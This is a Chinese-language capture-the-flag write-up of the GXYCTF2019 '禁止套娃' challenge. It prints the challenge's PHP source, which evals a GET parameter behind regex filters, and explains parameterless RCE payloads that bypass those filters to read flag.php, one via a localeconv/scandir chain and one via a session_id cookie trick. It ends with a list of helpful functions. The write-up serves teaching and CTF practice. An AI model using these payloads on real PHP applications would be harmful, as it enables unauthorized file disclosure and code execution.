无参rce
[GXYCTF2019]禁止套娃
这题发现了.git泄露但是很奇怪,没下载到他的index.php
无奈只能看看师傅们的wp了
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
首先代码审计一波,发现他接收exp的参数,过滤了data:、fileter:、php:、phar:、等伪协议,故不能通过伪协议做题目了
在第三个if中
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
就是将中间的字符,符合正则的全部替换为NULL之后如果强等于’;‘就进行下一步。在这里也就是说最后面要以’;‘结尾
关于这个正则表达式'/[a-z,_]+\((?R)?\)/'
(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子
第四个if中
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
在这里过滤了一些字符,那我们就需要不利于这些字符来执行命令到达查看文件的效果
法一 通过函数读取文件
payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
函数解析
1.localeconv() 函数返回一包含本地数字及货币格式信息的数组。他的最大用处就是返回’.‘,也就是当前的位置
2.current() 函数返回数组中的当前元素的值。
3.scandir列出指定目录中的文件和目录,当参数为.时,即列出当前目录的文件。通过和上面的函数搭配就可以查看当前目录下的文件了,但是要用打印函数打印出来
4.array_reverse()函数以相反的元素顺序返回数组。
5.next()函数讲内部指针指向数组中的下一个元素,并输出
6.highlight_file将代码高亮显示出来
法二 session_id
session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果:
无参rce常用函数
getcwd() 函数返回当前工作目录。
print_r(getcwd());
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
常用型:
highlight_file(next(array_reverse(scandir(current(localeconv())))));